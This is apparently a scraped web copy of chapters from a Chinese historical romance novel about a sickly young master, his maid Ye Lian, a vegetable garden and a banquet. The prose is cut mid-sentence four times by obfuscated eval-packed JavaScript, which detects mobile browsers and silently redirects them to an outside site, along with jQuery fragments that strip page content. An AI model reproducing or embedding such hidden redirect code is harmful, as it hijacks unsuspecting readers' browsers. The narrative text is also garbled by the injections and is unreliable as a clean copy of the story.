RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302676|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他日思夜想的声音在门外响起。 “哦。”李兰钧自认为淡漠疏离地回了一个字。 那粉绿倩影闻言端着食案走进室内，从屏风后绕到他面前时，步伐不易察觉地慢了下来。 叶莲在他面前站定，恭谨地福福身子。 李兰钧将她当做不存在，一眼不愿给她。 与冬青对视一眼，她得了冬青的默许才走到几案边，放下食案开始布置餐食。 虽然对李兰钧避之不及，但她研究出什么新的吃食却还是想端过来给他尝尝，前几日李兰钧与她置气，其余菜品均夹了一筷子，唯她做的点心果子半口没动。 叶莲为此苦恼许久，为了他的胃口，在小厨房都待成仙了。 近来李兰钧感染风寒，嗜甜如渴，她才又厚着脸皮送果子来。 “少爷，奴婢做了蜜煎金橘，您尝尝么？” 叶莲用小刀划开煮熟呈橘皮，露出里面澄亮的果肉，再拿银勺淋上蜜汁，色泽金黄鲜艳。 她方一递出话头，李兰钧就顺着语言台阶麻溜凑上前，故作不情不愿地开口，“嗯。” 他面上仍高贵冷艳，答也只愿答一字，眸子却实诚地落到叶莲身上，细细品味她今日的穿着打扮。 她一身新做的绿衫粉裙，薄纱掩盖住半肩，粉裙下摆染上浅绿，整个人如同出水芙蓉，娇俏可怜。 纵使门外掩不住满园春色，与面前人相比不过如此。 叶莲托着碗底舀一勺橘瓣送到他嘴边，李兰钧张嘴咬住，嚼吧半晌食不知味，囫囵吞下肚。 “何时想好？” 李兰钧一见她，满心满眼都是那个问题。 叶莲手一抖，“还未……” “还未？”他重复问。 叶莲小鸡啄米似的点点头，恨不得将脸埋到地板上。 李兰钧没由来一股火，偏头不吃她喂过来的橘子，叶莲的手在空中停滞了片刻，讪讪放下。 “太过甜腻，吃得我犯恶心。” 他十分辛辣地评价道，毫无公正全是私心。 “奴婢一定多加改良。”叶莲低眉顺眼地回。 李兰钧嗓子里一阵痒意，他掩面咳嗽良久，抬头再看时仍旧一脸恨恨的模样。 “你，给我把寝居外扫一遍，一片叶子都不许有！” 此言实在苛刻，连冬青都看不下去，暗示性地咳嗽一声，希望李兰钧回转心意。 李兰钧转头给他一个眼刀，“我看你挺闲，那跟她一块去好了。” “少爷……”二人异口同声。 “还不去？”李兰钧不容置喙地命令道。 院里正是良辰好景之时，若将落花全数打扫，反倒消减了美景。而且一片落叶都不许有，李兰钧分明是在故意找茬。 “少爷，还是奴婢自己去打扫吧，冬青管事在您身边照顾您，让奴婢也扫得安心。”叶莲自然不愿连累他人，于是同李兰钧试图转圜道。 “你心疼他？”李兰钧不知会错意到了哪个地步。 他的言下之意好像是：你心疼他都不来心疼心疼我！ 冬青突然被点名，吓出一身鸡皮疙瘩。 “莲儿，要不我去扫，你在这儿伺候少爷？”他生恐李兰钧误会，所以争先说道。 叶莲面上没忍住，露出个吃了苦胆的表情。 25. 剖白 李兰钧即刻便将她的神情收入眼底，惨白的脸上泛起青红相间，可谓是五彩斑斓。 “我不方便吧……”叶莲推脱道。 此时的他们已然沉浸于推卸责任之中，没顾上李兰钧混合为锅底一般黑的脸色。 “有何不方便的？”李兰钧阴恻恻地说道，“你上我榻时怎么没见不方便了。” 叶莲差点一头栽倒在地，“少爷！” 小丫鬟面红如血，仿佛一只煮熟的虾米。 李兰钧得逞后，勉强缓和了脸色。 室内乱成一锅粥，冬青在他的言语中发现了什么不得了的秘密，他一脸胃疼地躬着身子，不与叶莲再多推脱，走出寝居拿下了洒扫大权。 叶莲就这样七荤八素地留在寝居，与李兰钧面面相觑。 她面上红晕一直延伸到耳尖，久久无法褪去，李兰钧的话如同打了她一闷棍，让她头疼不已。 “我说错了？”他明知故问。 何止是错了，简直叫她不忍直视！ 叶莲面色青白，半晌才回：“明明是少爷拉奴婢下去的……” “我听到你的心跳了，你说你一点都不讨厌我，那你是不是——” 李兰钧略显摩拳擦掌之意，叶莲不敢听他继续下去，果断打断他：“奴婢不敢！” 她无端地插嘴反而没引起李兰钧不满，他对不敢二字有些不解，漫不经心地问：“不敢，让你日后享荣华富贵的事，为何说不敢？” “奴婢……”叶莲欲言又止。 “你说，我不动气。”李兰钧赦免她。 “奴婢害怕，少爷，这和说书的说的不一样，”叶莲垂眸认真地盯着李兰钧，几乎是下定决心才开口，“听闻两个人想要相爱，须得从眼神，到对话，再到接触，最后心意相通……太快了，如今一切都太快了，少爷。” “奴婢自知身份卑贱，不敢求少爷过多垂怜，还望少爷就算拿奴婢玩乐，就算不得放手，也请手下留情。” 叶莲一口气说完，咬着唇看李兰钧反应。 她一双眼睛害怕又忐忑地望着李兰钧，李兰钧听罢却觉得有些可笑：她一个小小奴婢，竟然也奢求所谓爱吗？ 他自小没什么是不可得的，当然乐得施舍，爱而已，他不缺，也给得起。 “你听谁说我要玩弄你了？” 李兰钧略带轻蔑地问。 “明明是你，说不敢要我的垂青，成日里只知道躲我，我有说不给么？” “我这不是，明晃晃地给你了么？” 他挑眉继续道，眉目间那点笑意愈发浓烈，不知是温柔还是轻佻。 叶莲心弦陡然一断，她今日一鼓作气而说下的真言，他当是取乐玩笑，还是压根不在意区区奴仆的言论。 贵为世家子弟，玩弄一个奴婢而已，在贵公子其中不是奇事，甚至是将她榨干价值腻味后，或许还要生下几个孩子，才会弃她如敝履。 而这样的事，在高门中屡见不鲜，或许还有更为险恶的行为，只是叶莲见识浅薄，仅从传言里听了个大概，不明其深。 他为刀俎，我为鱼肉。 尽管李兰钧还未真正出手，她也能从中间窥出后事如何。 “少爷莫要戏耍奴婢了……” 她复又垂眸，不去看李兰钧直勾勾的眼神。 见她垮着脸一副将信不信的模样，李兰钧欲要开口，却又被涌出的咳嗽打断，他咳得涨红了脸，在杂乱的喘息中道：“你……你非得把我气死才罢休！” 他要死不活地吊着眼皮，颤巍着拿起几案上的八珍汤，想用汤药压下咳嗽。 叶莲凑上去端起汤碗递给他，李兰钧愤愤地轻哼一声，接过汤药一饮而尽。 “奴婢不是有意的，”叶莲站在他面前，用手指绞着裙边，“奴婢只是怕少爷不知自己在说什么。” “我还没昏聩到这种地步。”李兰钧掏出手巾，细细擦拭嘴角，一道擦一道回她。 他将瓷碗置于案上，骨节分明的手摊开，轻轻勾了勾，“手拿过来。” 叶莲犹豫片刻，还是将手搭在他掌心，他瓷白瘦削的手指一收，捏住叶莲的指节，捂不热的凉意寸寸侵蚀，让她的暖意被慢慢分食。 李兰钧力道不轻不重，她想要挣开并不是难事，叶莲眼眸颤动不已，那股冷冽仿佛沿着手臂爬上她的方寸，丝丝吞并她的神智。 她还有法子脱身吗？或者说，她有资格脱身吗？ 还未多想，她便知道了答案。 那就退步，只要她多退一步，就不至于头破血流。她要伏低做小，寄生于他的枝叶上紧紧攀附着，无所不用其极，才不会被赶尽杀绝。 叶莲指尖一动，慢慢收紧回握住李兰钧的手，两双手贴合在一起，冷热交融。 满室沉寂如空，一阵狂风刮过繁花，从枝头卷走粉白，花瓣依风吹入寝居，竟略过屏风飘落在二人之间，仿若天意如此。 李兰钧手臂一带，叶莲顺着他的力道坐在床沿边，再被他拦腰拥住，让他的头借枕在自己肩上。 耳边有轻微的咳嗽声，李兰钧略快的呼吸喷洒在她耳际，一呼一吸都带着沙沙的病音。 “前面又是躲我又是气我，如今却这么乖。”李兰钧鼻尖蹭过她脖颈，密密闻甜滋滋而不腻的熟悉香气。 “奴婢信少爷的话，便不愿再退避了。” 她依依靠在李兰钧单薄的胸怀，侧脸用耳朵贴着他的心口，只听“咚咚”的心声汹涌，好似打鼓。 “那好，我要你在我身边。” “奴婢这不是在了么？” 李兰钧浑不在意地摇头，动作间发丝擦过她的皮肤，泛起一阵氧意。 他略带不满地开口：“你别同她们住了，搬到我这儿来。” “有些快了吧……”叶莲怯怯地驳他。 腰上的手游离到侧身，随后轻轻拧了一下，叶莲一抖，在李兰钧怀里乱动。 “你想什么呢？”李兰钧敲打完嗔道，把手圈得紧了些，“……别乱动，不然我生气了。” 叶莲乖乖停下动作。 “我让人收拾个房间出来，就隔壁那间茶室，反正越近越好。”李兰钧偏头看一边，独断做下决定。 “奴婢才搬到北院不久呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311743|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 叶莲又细声道。 李兰钧腾地脱开怀抱，双手掌住叶莲的手臂，他面上略显不满，皱着眉头问：“我说什么你都要同我作对？” “不是作对，是觉得不太好……”叶莲努努嘴，垂眸不敢看他。 李兰钧盯着她看良久，怎么看都生不出气恼，料想是阴谋得逞，心头乐得没边了。 “那我听你的。” 叶莲仿佛见鬼一般抬起头看他，满脸不可置信。 “怎么，我真是太惯着你了，上房揭瓦的本事渐长啊——难道我不能听你的么？”李兰钧被她古怪的表情弄得莫名其妙，气势冲冲地要缠着她问个所以然。 “少爷，您这样奴婢还有些不习惯。” 叶莲眨眨眼回他，勾起嘴角显出两个梨涡。 她这一笑，让李兰钧不知所措起来，他也跟着飞快眨了几下眼睛，积压的那点□□突突地有复燃之势，只是他如今纵容太久，已无余力起势。 他突然成了没牙的老妪，面对流水般的菜式只能咽咽口水，吞嚼不得。 “唉……”李兰钧没由来一声叹息。 叶莲以为自己踩了他的禁忌，才使得李兰钧闷闷不乐，她收敛了笑意，歪头看他：“您怎么了……” “问这么多做甚？出去跟冬青扫庭院去！”李兰钧徒然变脸，把她扫地出门。 叶莲一脸茫然地被他轰出寝居，走到廊前接过冬青递来的扫帚，冬青忙出一身热汗，院里却没见干净多少。 “唉，你怎么出来了，少爷一人在里边……”冬青擦着脸上的汗问。 “少爷撵我出来的。”叶莲望向门内屏风处。 冬青摸不着头脑：方才出来还打情骂俏的，怎么突然就赶人了？ 又想李兰钧脾气古怪，非常人所能理解，便不再多问叶莲什么。 “你扫那头吧，这头我扫挺久了。”冬青指指另一边的花草间。 叶莲顺着他的手望过去，地上积攒了不少落花，风一吹又落下不少，若真能无一片杂物那才是怪事。 但李兰钧金口玉言已开，他们就算是讨他欢心也要做出个像样的答案来。 叶莲点点头，走到那处地盘开始清扫。 末冬吊着她的那棵桃树枝繁花正艳，叶莲握着扫帚将落花堆积起来，风乍一吹，又纷纷落下数片，灼灼小桃，轻薄逐风去，不知明媚谁。 她仰头从枝叶缝隙里看艳阳，斜射几寸白点洒在她面上，斑斑驳驳，明暗交错，暖意只覆在她皮肤之上，心底那点冰凉未见光明。 讨巧卖乖等手段她学有所成，可是以色侍人，能得几时好？她忍不住去想自己走到色衰爱弛的景况，即使她一字不识，也能感悟到几分与之乎者也大概的道理。 “莲儿！” 屋内那人只独自待了半刻，就受不住想让人伺候。 叶莲闻言高声应了一句，放下扫帚往出声处奔去，她提着裙摆，一颠一颠地小跑着，脚下生风。 与春意相映的粉绿小人便就此退去，鸟雀见势从檐角飞往树梢，扯着嗓子点头嘤鸣，院中留白一副花鸟图画。 26. 锄地 南园近日事务繁多，前脚二少爷方走，后脚夫人就跟着上门关怀照顾李兰钧。 叶莲守着小厨房生灰，有客前来，备菜的事宜便落到了厨房头上，她连送膳的机会都大大减少，最多送些煎好的汤药，或是洗净切块的闲时果子。 成天望着墙头发呆，她所不愿做的事好歹是推迟了，只是闲暇之时过于空虚。 北院新辟这间小厨房是由边角客房改造而成的，打通旧墙壁，然后砌两面新墙，空出一面用来疏风通人。 小厨房坐落在墙角，工工整整，连个稍有人气的菜地都未曾开垦，所有肉菜一律从园外采购。 叶莲坐在后门的矮板凳上，盯着厨房后一块杂草丛生的空地，南园依泉傍水，土地也肥沃非常，用来栽花木实在大材小用，随意撒几粒种子上去，都不用打理便能收获翠绿的青菜，实在是不可多得。 照以往哪见过这么好的地，光是犁田都要犁三遍，地里才勉强能翻出些新土，混在硬土里草草开始播种。 她馋这块地良久，前段日子被李兰钧绊住手脚，如今清闲下来却不知从何下手。 首先要翻一道，将杂草残渣撇开后，又松松土，洒点水在土上安置几日，待她买了种子回来就可以开始种菜了。 说干就干，叶莲撸起袖子找来一个锄头，用锄头在草地上划分界线后，沉身使力开垦菜地。 她穿着北院大丫鬟统制的浅绿成衣，袖子窄长，可以很好地挽到肘骨处，不影响她挥锄的动作。 煦日当头，小厨房遮掩着她的身影，叶莲犁完一遍撑着锄头视察菜地雏形，地里有几株挖断的草根，她用锄头挑起甩到墙边，才喘着气歇息下来。 南园一草一木都归李兰钧所有，她到时还要跟他通报一声，叶莲想到李兰钧就觉得头疼，比她方才犁完地还不适，索性不再去想这糟心事，抬头打量起屋檐天空，数着往来飞鸟以转移注意。 “你在做甚？” 方才想着他，这熟悉的声音便出现在脑后，话中满是疑惑。 叶莲一哆嗦，扔下锄头拍拍衣裙上的灰土，又抹抹散乱的头发，才转身行礼：“少爷，奴婢在松土……” 李兰钧看着被她糟蹋干净的花草，他去年遣人种下的建兰只剩一片狼藉，残留几株瑟瑟立在墙角。 他送走继母，正想从原路折返去书房看书，走到半路见小厨房立在角落，就鬼使神差地踱步走过去，没成想捉到叶莲在铲除他的花。 “你倒是糟蹋得好一手，”他眯起眼睛看叶莲，没好气地道，“偏偏把我种的花给倒腾完了！” 叶莲看着满地狼藉，这才发觉那些高个子的“杂草”原来是李兰钧的爱花。 种在这片犄角旮旯里，她很难不怀疑李兰钧是成心折腾自己的。 “奴婢以为是杂草，便一块铲了……” 叶莲苦兮兮地说道。 “种在这儿好好的，你铲它做甚？” “奴婢想留一处地当菜地用……” “菜地？”李兰钧的语气九转十八弯，两个字被他说出口像唱戏似的。 叶莲殷勤地点点头，配合地说道，“是，是菜地！” 逼仄的小厨房里，李兰钧穿着月白锦袍立在几乎触顶的后门边，他稳妥地站在空地上，对小厨房灰扑扑的一切事物都充满嫌恶。 同样，面前灰扑扑的小丫鬟也让他不自觉退步，恐她身上的灰土沾染自己，“你这样一番折腾，就是为了日后多做一件劳力活？” 叶莲用手肘擦擦脸上的汗湿，并不认同李兰钧的话：“少爷，种菜可是很有趣味的，何况还能吃上顶新鲜的蔬果，再劳累也值了！” 李兰钧上下扫她一眼，叶莲一身泥泞，手掌黢黑，鞋底和裤腿都沾上不少泥渍，方才还十分不雅地用手肘去擦汗，实在是不堪入目。 “这就是你挖我兰花的由头？” 这些建兰说是他种的，不如说是他吩咐的，甚至都没亲自监工过半眼，但当着他面破坏他的爱花爱草，李兰钧就算不上心也要好好上心一番。 南园只要是不铺路造景的地块，几乎都栽了品种不一的花草，随意踩上一脚就能踩死几十两白银。 叶莲这回撞了大运，一锄头下去就是不得了的数目。 “奴婢见都是绿绿的一片，哪里知道草里竟还有您种的花……”叶莲扯着嘴角假笑，她从来只能认清可食用的蔬果野菜，观赏性的花草一概不识。 而李兰钧恰恰相反，十指不沾阳春水的李少爷，菜就算种到他门口，他也是当野草命人铲了去，影响他观景。 “笨丫头，你到底认得什么？”李兰钧看她笑得瘆人，走下台阶纡尊降贵地点点叶莲的额头。 他力道不轻，直点得叶莲脑袋随着他的手指前后摇摆，待他收手，叶莲额头正中按出一个圆红的印子。 李兰钧将将收回手，另一只手就掏出手巾仔细擦了擦手指，仿佛点到了脏东西。 “那奴婢给您种回来……” 叶莲说着去捡地里蔫巴烂叶的兰花，那被她一锄两断的兰花哪有死而复生的迹象，种回地里只能自欺欺人。 她还未碰到，李兰钧便扬手喝住她的动作，“哎哎，死都死了，现在埋地里给它安坟么？” “我又没说不让你种菜，你急着补救个什么劲？” 他说话从来不管别人死活，一向是抛出几个问题，让他人一个一个回，还必须回得合他心意，惹他不乐意了又是一番折磨。 但叶莲如今不必担忧这个，她就算是说些没眼力见的蠢笨话，李兰钧谅在喜爱她，也会自己找个台阶下。 就比如现下——“少爷是准奴婢做还是不准？” 叶莲那麻雀大的胆子被他喂肥了不少，竟也敢反问起来。 “你都已经先斩后奏了，我还有不准的余地吗——你要种些什么东西？” 李兰钧果不其然地开口应允，随后多问一句让叶莲回他。 叶莲脑子里正想“先斩后奏”是何意，但见李兰钧神色自若，嘴角还噙着一抹笑意，便知道自己是过了他这关了。 “谢少爷！”她思索后绽开一个甜甜的笑，掩不住眉飞色舞地指着菜地给李兰钧讲解，“这块种小葱，这块菘菜，种些胡瓜夏日吃也可……” “对了，少爷想吃甜瓜么？” 李兰钧随口应答：“你若是种得出来我便吃。” “奴婢过些日子出门采买去买些种子回来，一定让少爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330055|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早点吃上！”叶莲垂头开始盘算，心里的主意飞出院墙外。 “哦，”李兰钧跟她在墙角站了半天，这才想起正经事来，“你去换身衣服，随后到书房来。” 叶莲点头如捣蒜，整了衣裙放了锄头，跟着李兰钧一前一后走出小厨房。 小厨房外，冬青站在水缸边看水中映景，见李兰钧出来，身后跟着个低眉顺眼的叶莲，便忙走上前招呼，“少爷，还去书房吗？” “青天白日，我还能去哪儿？”李兰钧一听就知是何意思，他冷冷剜冬青一眼，回道。 他就算病体初愈，也不至于到丧心病狂的境地，要领着这小丫鬟去寝居白日宣淫，更何况他压根没恢复过来，身子遭受不住。 冬青一哽，疑心自家少爷想到不可言状的地方去了。 “等在这儿要我背你去？” 李兰钧转头对着叶莲嗔道。 叶莲忙颔首径自而去，留下李兰钧和冬青大眼瞪小眼。 “少爷，赏花宴的拜礼奴婢已按您的吩咐，除一般礼品，还挑了几件名贵书画。”冬青趁二人无言之际，开始汇报工作。 “嗯，待会莲儿来了，你带她去学些礼仪。” 李兰钧下达指示道。 这些大大小小的宴会他以往从不参加，有时连权贵官员的办宴也缺席，平日只会派冬青送礼，而人却从不到场。 他无官无职，不想像苍蝇似的凑他们的热闹，更因身体羸弱，无心也无力。 本以为这一生都不会入官场，父亲却突然回心转意，要让他这个短命鬼体验一把人世间，他心中隐约的期待便渐渐放大，更为自己打点起来。 “学礼仪？”冬青有些摸不着头脑。 “她未赴过宴会，自然不晓得外面那些规矩，你教她些，不要让她扫了我的颜面。” 李兰钧见冬青不开窍，只好耐着性子稍微铺开些解释。 冬青即刻就明白了他的言下之意，又惊又喜地乐道：“少爷，您要去赏花会？” “认识些人也没什么坏处，你送我到书房后就去准备吧。”李兰钧道。 “是，奴婢定准备妥帖！” “日后有了官职，要打点的地方只多不少，你多留心些，不要出错。” 他不免有些期待往后的日子，同僚上司，各色的人像画卷一样铺开等着他走上去拜读研究。 至于为何带上叶莲，李兰钧早已做好了打算，他要让此人全身心都属于自己，既然要做贴身侍女，就免不了同他出门应酬，这只是迟早的事而已。 能带上一个赏心悦目的人儿去赴厌恶的宴会，或许宴会也会稍微顺眼一些。 叶莲的作用大概就在于此二处。 李兰钧想着，信步远离小厨房，朝书房的位置走去。 漫天飞花，有一片薄瓣不经意落在他肩上，夹在衣领交叠之间，随着他的脚步被携入书房，染上香风几许。 室内一人着青莲色素面综裙，上衣鹅黄，印有四瓣花样，她低垂着脑袋，露出葱白的后颈，闻鞋声发髻微微一动，随后转过身规矩行礼。 “少爷。” 叶莲面上薄红，想是匆匆赶来的缘故，额角也有些散发垂在眉眼处。 27. 赴宴 “你跟着冬青去。” 李兰钧负手偏头，抬抬下巴示意她。 叶莲略过他去看冬青，冬青立在门边候她，一副了然于心的模样。 她颔首称是，垂眸与李兰钧擦身而过，眼珠却在二人身上打转：让她过来书房，又让她跟冬青走，到底要做什么？ 叶莲朝冬青身边走去，冬青依旧是面色柔和地看着她，直到她走到面前才做出一个“请”的动作，领着她不知往何处去。 待走到离书房有一定距离，叶莲出声询问道：“冬青管事，我们这是去哪儿？” 冬青是个藏不住心事的，不用她问便将事情原委全数托出：“莲儿呀，你真的得了天大的福气，少爷后日要去赴赏花会，让你跟着一块去呢！这不，临时叫我来教你些规矩，以防在宴会上出差错。” 冬青一道走一道回头对她笑着说，青白面皮掩不住喜色，脚下也不自觉慢了几分，几乎与叶莲并肩而行。 “赏花会？我礼仪不精，去了真的好么？”叶莲一听要去大场面，不由得发怵。 “这赏花会由刺史大人的夫人一手操办，邀的宾客都是有头有脸的人物，的确是个大席面……不过，少爷既然指名让你同去，一定是放心你的行事的。” 冬青解释了赏花会的由头，最后又安慰了她几句。 恐怕李兰钧只是想一出是一出，并不考虑后果。 叶莲突然从私家厨娘变成了贴身侍女，这身份转变之快叫她有些措手不及。 “那有什么需要注意的地方吗？”叶莲迫不及待地追问道，生恐届时做错了事。 “跟在少爷周围，处事机灵点就成，其余的规矩我教你，和平时南园相差不多，你不必如此紧张。” 冬青领着她穿过一道月洞门，温声道。 月洞门后立着两个人影，一个是辛夷，另一个则是林檎。 叶莲甫一同她们打照面便觉得浑身不适，方看了一眼就故作从容地站稳身子，垂下头盯着裙边。 “辛夷和林檎是南园的大丫鬟，由她们来教习你再适合不过，我在一旁纠正指导。” 冬青左右看了她们两眼，见无人出声打照面，只得率先开口道。 二人前后福了福身，叶莲见状也回了个，几人便在空旷的院中开始练习。 辛夷自那次被李兰钧规训后，对叶莲的态度表面上好转不少，再也没暗地给她找麻烦。 而林檎与以往尖酸的模样无差，只是背地里在嚼她的舌根，面上一向敬而远之，好歹是没刁难使坏了。 叶莲与她们各怀着心事，疏远冷寂地一言一动演示学习，冬青不时在一旁提点两句。 她就在几人一日半的训练后，开启了赏花会的序幕。 清晨。 叶莲早早地起床收拾准备，换上整齐划一的服饰，在一片雾茫茫中推开窗，赏着不可视物的外景立在窗边。 她紧张地抠着手指，心思全在而后的宴会上，并无多少分出来赏景。 今日雾大，定是个艳阳天。 纷杂混乱的脑袋中，看到眼前雾气不由抽出一分神思想道。 在房里左等右等，又随意吃了一块昨夜剩下的炊饼，肚子里装了东西，心中那点慌乱就踏实了许多。 估摸着时辰到了，叶莲关好窗户推开门走出卧室，廊道里静悄悄的，她摸索着往北院大门走。 她作为要出面的贴身侍女，不用晨起服侍，不用伺候早膳，只需要在大门口的马车边候着李兰钧到来便可。 自从进南园以来，她从未见过正门的模样，更是没路过过，所以昨日她厚着脸皮请辛夷带她走了一遭，这才大概记住路径。 叶莲拐了不知几个弯，过了不知几个门，现下方走到正门处。 南园大门用漆黑的黑油刷成，摆锡环在门两侧各一，白墙灰瓦，乌黑的门立在墙壁之间，莫名的肃穆沉静。 她走上前欲与门口的小厮攀谈，从袖中拿出一方手牌，“今日少爷出门赴宴，我是陪同去的侍女，二位可否帮忙开门放行？” 她亮出手牌上的字眼，那二人虽大字不识，却也能认出出自谁手，立即换上笑脸道：“行，行，我们早接到通信，就等您来呢！” 其中一人撩起短衫，从衫下掏出一串钥匙，然后走到门边“咔嗒”一声开了锁，另一人与他合力拉开大门。 沉重的门被他们拉开，外面繁华景象便犹抱琵琶半遮面地徐徐露出，街道上行人纷纷杂杂，摊贩一水摆放着花灯、花糕之类的节日用品，门前正中处停着一架六尺宽的马车。 叶莲与小厮道了谢，朝马车一侧走去，石青帷幕盖在车窗上，将内景遮得严严实实，她在车轮边站定，静静等待李兰钧大驾。 李兰钧在薄雾散尽时踏出大门，着一身墨色织锦长袍，大步流星地走到马车面前。 叶莲及时搬出轿凳，让李兰钧踩上马车，随后将轿凳放回后部，与冬青一左一右坐在车架上。 叶莲的眼珠盯着街道上的货物，心道今日到底是何节日，各店家门前张灯结彩，走贩皆挎着一篮子新鲜花枝叫卖。 车夫驾马前行到数百尺远，李兰钧在车舆里淡淡开口：“莲儿。” 对街道的遐想被李兰钧这一声呼唤打破，叶莲转过身掀帘探头入内问：“少爷，有什么吩咐吗？” “进来给我剥些橘子。”李兰钧道。 高门大户就是不同常人，马车内竟然还摆放果子供主人解渴。 叶莲这样想着，躬身钻进车舆内，厢中果然摆放着一盘新鲜的柑橘，不过里面逼仄狭小，坐在座上又不合规矩，她只能跪在李兰钧面前给他剥橘子。 她信手剥好一颗橘子，清冽的香气便在厢中散开，扫走一室沉闷。 手指灵巧地将橘肉分成几瓣，还能做到不接触到里面果肉只在皮外操作，这是叶莲在李兰钧那里经久学会的伺候本事。 她分好橘肉，用圆盘托起送到李兰钧面前，等待他食用。 “我又没说要吃，你再剥几个，不必这么细致。”李兰钧睁开合上的眼皮，看她摆好一盘橘瓣递上来，于是不急不缓地回绝道。 “是。”叶莲应声后闷头剥橘皮。 “这车中太闷了，弄得我心头难受……”李兰钧皱眉捂着胸口，自顾自说道。 叶莲方才注意到李兰钧苍白难看的脸色，她因紧张而过度紧绷情绪，却一时忘了察言观色。 她放下手中柑橘，半起身探出手掀开帷幕一角，这一角不多不少，外面的人看不进来，厢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344668|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外清凉的风却能席卷而入，吹散不少闷气。 李兰钧鼻间钻进几缕凉意，烦闷的不适感渐渐舒缓下来。 “少爷，好受些了么？” 叶莲轻声问道，面上有些担忧。 李兰钧点点头，从鼻子里哼出一声微弱的“嗯”，随后靠在窗边阖眼小憩。 “今日是花朝节……” 他闭着眼，呢喃道。 叶莲倏然瞪大双眼，手中的动作也跟着一顿，她悄悄抬起头打量李兰钧，见他一动不动地靠在那儿，并未睁眼。 她只在心里想，李兰钧也能听见？ 正百思不得其解，李兰钧又冷不丁地继续说：“待宴会过半，你自行离去百福斋给我买盒花糕。” “是，”叶莲安下心来，答应后又想起自己不识路，“少爷，这百福斋在何处啊？” 李兰钧睁开眼缝瞥她一眼，“集云大街，最高的楼附近，自己找。” 叶莲听罢低头小声重复一遍，随后应声。 马车行至人声渐稀薄处，再往前行约三百丈，缓缓停至一座园林前。 此园林是巡抚大人名下居所，较大规模的宴会通常在此处举办。 叶莲率先掀帘跳下马车，冬青将轿凳摆到车前，李兰钧才掌着叶莲的手背缓步走下车。 他们一行人来得早，园外停着的车马仅几辆左右，车旁跟着的四名丫鬟提着礼品走在他们身后，由李兰钧带领着入园。 园中观赏树木花草居多，也有游乐场地和供客人休整的卧房，领路丫鬟走在他们身前，不急不缓地引到一处开阔的露天席面上。 席面分男座和女座，用一架长达百尺的屏风相隔开，屏风两侧各有数十席位，落座之人交谈声不绝。 “呀，李家三郎也来了！真是贵客！”一贵妇人笑意满面地迎上来，举止大方。 李兰钧略一拱手，面上也扬起一抹淡然的微笑，“王夫人，晚辈备薄礼相贺，还请笑纳。” 身后丫鬟三步并作两步递上贺礼，由王夫人身旁的侍女接过。 王夫人拾起一幅书卷，摊开一角相看，方看了一眼便啧啧称赞道：“黄大家的诗贴，三郎真是大手笔啊！” “小小心意，不成敬意。” 李兰钧闻言颔首回她。 “上座，上座。” 王夫人微微侧身，让李兰钧入内就坐。 李兰钧笑着点点头，略过她寻一处空位坐下，面前一方小桌，上面置有玉箸白釉杯，方落座便有家婢上前倒茶，摆放切好成块的鲜果。 叶莲和冬青立在他身后，背靠屏风，能隐约听到障隔后的谈笑声。 李兰钧拿起面前茶水抿了一口，不动声色地略一皱眉，又缓缓放下，静坐于席间。 “贤弟，别来无恙啊。” 一身影见礼后瞧见李兰钧，径直坐到他右侧位置，偏头朝他笑道。 李兰钧听这要熟不熟的声音，寻思哪位不知名小卒前来巴结，便幽幽转过脑袋去看。 这一看就不得了，身侧这位笑里藏刀的锦衣男子，即是现任通判杨遂本人，如假包换。 李兰钧面色一凛，咬牙切齿地回道：“多年未见，大人竟就任扬州，某身居深宅，不知外事，未曾恭贺。” 28. 兰花 “贤弟莫要说笑，既一口一个大人，怎会不知我就任扬州呢？”杨遂十分不客气地拆台，面上却还是噙着笑。 李兰钧自知失言被他捉了把柄，脸色一阵青红交错，捏着茶杯的手指泛白。 “大约是在下记错了。”他含糊不清地回答。 杨遂闻言笑意更浓，又哪壶不开提哪壶地说起旧事：“令堂寿宴直至今日，已四年有余，想起那日的场面我真是历历在目啊！” 他所说旧事亦是二人渊源的来头：知府大人五十大寿之日，周边州府皆往来庆贺，年轻气盛的杨遂碰上了正在作妖的李兰钧，他因茶水冷热的原因让下人足足重泡了六趟，第七趟时杨遂拍案而起，与李兰钧唾沫横飞地争执起来，随后在你推我搡中，李兰钧率先给他下巴一拳。 